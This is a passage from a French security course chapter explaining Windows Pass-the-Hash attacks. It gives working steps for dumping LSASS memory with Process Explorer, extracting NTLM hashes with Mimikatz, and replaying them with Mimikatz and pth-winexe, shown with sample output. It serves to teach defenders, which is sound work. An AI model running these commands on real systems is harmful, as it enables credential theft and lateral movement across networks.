• 10 heures
  • Difficile

Ce cours est visible gratuitement en ligne.

course.header.alt.is_video

course.header.alt.is_certifying

J'ai tout compris !

Mis à jour le 01/12/2023

Oubliez vos mots de passe, vous n'en avez pas besoin !

Le premier chapitre vous a donné les clés pour comprendre l'authentification sous Windows. C'est très important pour maintenant vous montrer en pratique la principale attaque sous Windows, le Pass The Hash. Vous allez voir le principe de cette attaque, comment la mettre en pratique. Les chapitres suivants vous montreront comment mieux vous en protéger.

Maîtrisez le Pass The Hash

Dans le premier chapitre, vous avez surement noté que dans le fonctionnement de l'authentification à distance, le mot de passe en clair n'intervient jamais dans le calcul du défi-réponse ! Ça vous interpelle, n'est-ce pas ? Qu'est-ce que cela veut dire ? Quand vous vous connectez localement de manière interactive, vous devez connaître le mot de passe en clair. Mais quand vous vous connectez à distance, on se fiche du mot de passe, seule son empreinte compte ! Qu'est-ce que cela veut dire du point de vue de l'attaquant ? Tout simplement qu'il n'a pas besoin de casser les mots de passe, il se contente de rejouer les empreintes pour se connecter de système en système !

Ainsi, une multitude de scénarios peuvent exister, en voici quelques exemples :

  • L'attaquant compromet un système par Spear Phishing. Il récupère l'empreinte du mot de passe d'un compte d'administration locale, il s'en sert pour prendre la main sur tous les autres systèmes de la même zone réseau.

  • A cause d'une vulnérabilité dans une application métier, l'attaquant prend la main sur un serveur. Sur ce serveur, un service de backup tourne avec un compte de domaine privilégié. L'attaquant récupère son empreinte et s'en sert pour se connecter sur les autres serveurs.

  • Un utilisateur malveillant demande l'installation d'un logiciel. Il sait que l'intervenant du helpdesk va intervenir sur son poste. Après l'intervention, il récupère l'empreinte du mot de passe de l'intervenant, celle-ci est restée en mémoire. Il s'en sert pour se connecter au serveur de distribution de logiciels du helpdesk. Il récupère les empreintes de mots de passe en mémoire sur ce serveur et bingo, un administrateur du domaine s'y est connecté ! L'attaquant a maintenant les clés de la boutique.

Partez à la chasse des empreintes en mémoire

Mais ça doit être très compliqué pour l'attaquant tout ça, non ?

Pas du tout ! Pas d'exploitation de faille jusque là inconnue, juste une récolte minutieuse des données d'authentification sur chaque système. Chaque nouvelle donnée ouvre un niveau de privilège, ce qui permet d'aller encore plus loin, vous l'aurez compris, jusqu'à être administrateur du domaine. Voyons comment va procéder l'attaquant.

Tout d'abord, il va récupérer la mémoire du processus LSASS, qui gère l'authentification sous Windows. Si vous étiez un attaquant, sur un système compromis, vous pouriez faire cela le plus simplement du monde avec Process Explorer, un outil gratuit de Microsoft. Lancez-le en tant qu'administrateur. Identifiez le processus lsass.exe, faites un clic-droit, puis choisissez « create dump », « create full dump » et enregistrez le dump de la mémoire vive du processus dans un fichier lsass.DMP. Vous pouvez rapatrier ce fichier sur votre poste.

Capture d'écran du Process Explorer de Windows, avec la liste des processus accompagnés de diverses informations et offrant la possibilité de
Dump de la mémoire du process lsass.exe

Utilisez maintenant le logiciel Mimikatz pour traiter l'image mémoire et faire ressortir les empreintes de mot de passe. Depuis une ligne de commande Windows :

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe

.#####. mimikatz 2.1.1 (x64) built on Jun 16 2018 18:49:05 - lil!
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump lsass.DMP
Switch to MINIDUMP : 'lsass.DMP'

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.DMP' file for minidump...
Authentication Id : 0 ; 3673521 (00000000:00380db1)

Session : Interactive from 2
User Name :
Domain : MONDOMAINE
Logon Server : MONDC
Logon Time : 4/05/2018 01:02:03 AM
SID : S-1-5-00-1111111111-222222222-333333333-12345
     msv :
    [00000003] Primary
    * Username : mon.utilisateur
    * Domain : MONDOMAINE
    * NTLM : 1337babe0000deadbeef00001337babe
    * SHA1 : ebab73319999feebdaed9999ebab733187651234
    * DPAPI : 7f1a71878723ffc3848c34c5df2bffad
    tspkg :
    wdigest :
    * Username : mon.utilisateur
    * Domain : MONDOMAINE
    * Password : (null)
    kerberos :
    * Username : mon.utilisateur
    * Domain : MONDOMAINE.BIZ
    * Password : (null)
    ssp :
    credman :

Voilà, vous avec récupéré l'empreinte NTLM du mot de passe !

Jouez à rejouer

Une fois que vous avez collecté une empreinte mémoire, il ne vous reste plus qu'à la réutiliser pour vous connecter à distance. De nombreux outils de test d'intrusion permettent de faire du Pass The Hash, par exemple Mimikatz sous Windows que nous venons juste d'utiliser ou sous Linux, Metasploit ou pth-winexe.

Le premier exemple est sous Windows avec Mimikatz :

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:mon.utilisateur /domain:MONDOMAINE /ntlm:1337babe0000deadbeef00001337babe

Cela rajoute l'empreinte dans votre cache d'authentification, vous pouvez ensuite l'utiliser pour vous connecter sur d'autres systèmes

Le second exemple est sous Linux avec pth-winexe :

OC:~$ export SMBHASH=1337babe0000deadbeef00001337babe
OC:~$ pth-winexe -U MONDOMAINE/mon.utilisateur cmd.exe

En résumé

  • Le processus LSASS sous Windows gère l'authentification.

  • Les empreintes de mots de passe peuvent être récupérées dans la mémoire vive du processus LSASS avec Mimikatz.

  • Sous Windows, il ne sert à rien d'avoir un mot de passe en clair pour s'authentifier à distance, il suffit juste d'avoir l'empreinte du mot de passe.

  • L'attaque Pass The Hash permet de se connecter à distance à un système sans en connaître le mot de passe.

Exemple de certificat de réussite
Exemple de certificat de réussite